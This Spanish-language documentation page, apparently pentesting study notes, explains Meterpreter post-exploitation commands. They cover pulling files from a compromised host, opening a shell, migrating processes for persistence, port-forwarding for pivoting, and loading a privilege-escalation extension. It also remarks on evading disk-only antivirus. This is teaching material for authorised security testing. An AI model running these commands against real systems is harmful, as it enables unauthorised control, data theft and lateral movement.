> For the complete documentation index, see [llms.txt](https://b4zh.gitbook.io/b4zh/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://b4zh.gitbook.io/b4zh/metasploit-framework/meterpreter.md).

# METERPRETER

Es el payload más conocidos dentro del framework.

Diseñado para ofrecer un control completo sobre un sistema que hayamos comprometido.

~~Facilita muchas cosas.~~

Se ejecuta en la memoria principal/memoria ram. Lo que puede permitir que no sea detectado por sistemas de seguridad de un antivirus que solo escanee unidades de almacenamiento no volátiles.

Es modular, puede cargar módulos adicionales en tiempo real.

## COMANDOS DE INFORMACIÓN DEL SO

### help

Muestra todos los comandos disponibles.

```bash
meterpreter > help
```

### sysinfo

Muestra información sobre el SO comprometido.

```bash
meterpreter > sysinfo
```

### getuid

Nombre del usuario con el que estamos ejecutando el payload en el sistema víctima.

```bash
meterpreter > getuid
```

### getpid

Muestra el ID del proceso donde se ejecute actualmente Meterpreter en el sistema comprometido.

```bash
meterpreter > getpid
```

***

## COMANDOS DE MANIPULACIÓN DE FICHEROS

### download

Descargar un fichero desde el sistema comprometido hacia nuestra máquina atacante.

```bash
meterpreter > download [path]
meterpreter > download C:\\Windows\\Sytems32\\drivers\\etc\\hosts
```

### upload

Subir un fichero desde la máquina atacante hacia la máquina comprometida.

```bash
meterpreter > upload [path]
meterpreter > upload pwned.txt C:\\Users\\vagrant\\Desktop
```

***

## COMANDOS DE EJECUCIÓN DE PROCESOS

### execute

Ejecuta un comando válido en el sistema operativo.

```bash
meterpreter > execute [comando]
meterpreter > execute -f cmd.exe -a "/c C:\\Windows\\System32"
```

### shell

Abre una shell de comandos interactiva en el sistema comprometido.

```bash
meterpreter > shell
```

### ps

Muestra los procesos en ejecución.

```bash
meterpreter > ps
```

### kill

Matar un proceso, a través de su PID

```bash
meterpreter > kill [PID]
```

### migrate

Migrar el proceso de meterpreter a otro proceso del SO comprometido. Útil para mantener la conexión y aumentar la persistencia en caso de que el proceso actual donde corre meterpreter sea terminado.

```bash
meterpreter > migrate [PID]
```

***

## COMANDOS DE RED Y ENRUTAMIENTO

### portfwd add

Reenvía puertos del SO comprometido al atacante. Útil para hacer pivoting dentro de una red.

```
add = añadir nueva regla a nivel del reenvío de puertos
-l 8080 = puerto local
-p 80 = puerto en el sistema remoto al que se enviara el tráfico redirigido
-r 10.0.2.4 = dirección ip del sistema remoto al que se enviara el tráfico
```

```bash
meterpreter > portfwd add -l 8080 -p 80 -r 10.0.2.15
```

### portfwd list

Listar todas las reglas de reenvío de puertos disponibles.

```bash
meterpreter > portfwd list
```

### portfwd delete

Eliminar una regla de reenvío de puertos.

```bash
meterpreter > portfwd delete -l 8080 -p 80 -r 10.0.2.15
```

***

## COMANDOS DE EXTENSIONES Y MÓDUL0S

Meterpreter es modular, viene con una serie de módulos básicos, pero se pueden cargar más módulos y extensiones.

### use

Recibe como argumento la extensión a cargar.

```bash
meterpreter > use priv
meterpreter > use stdapi
meterpreter > use espia
```

```
priv = ofrece comandos adicionales para la escalada de privilegios
stdapi = ofrece los comandos básicos vistos anteriormente. Standar API. Precargada
de forma predeterminada en cada sesión de meterpreter.
```

### use -l

Listar todas las extensiones disponibles actualmente.

```bash
meterpreter > use -l
```
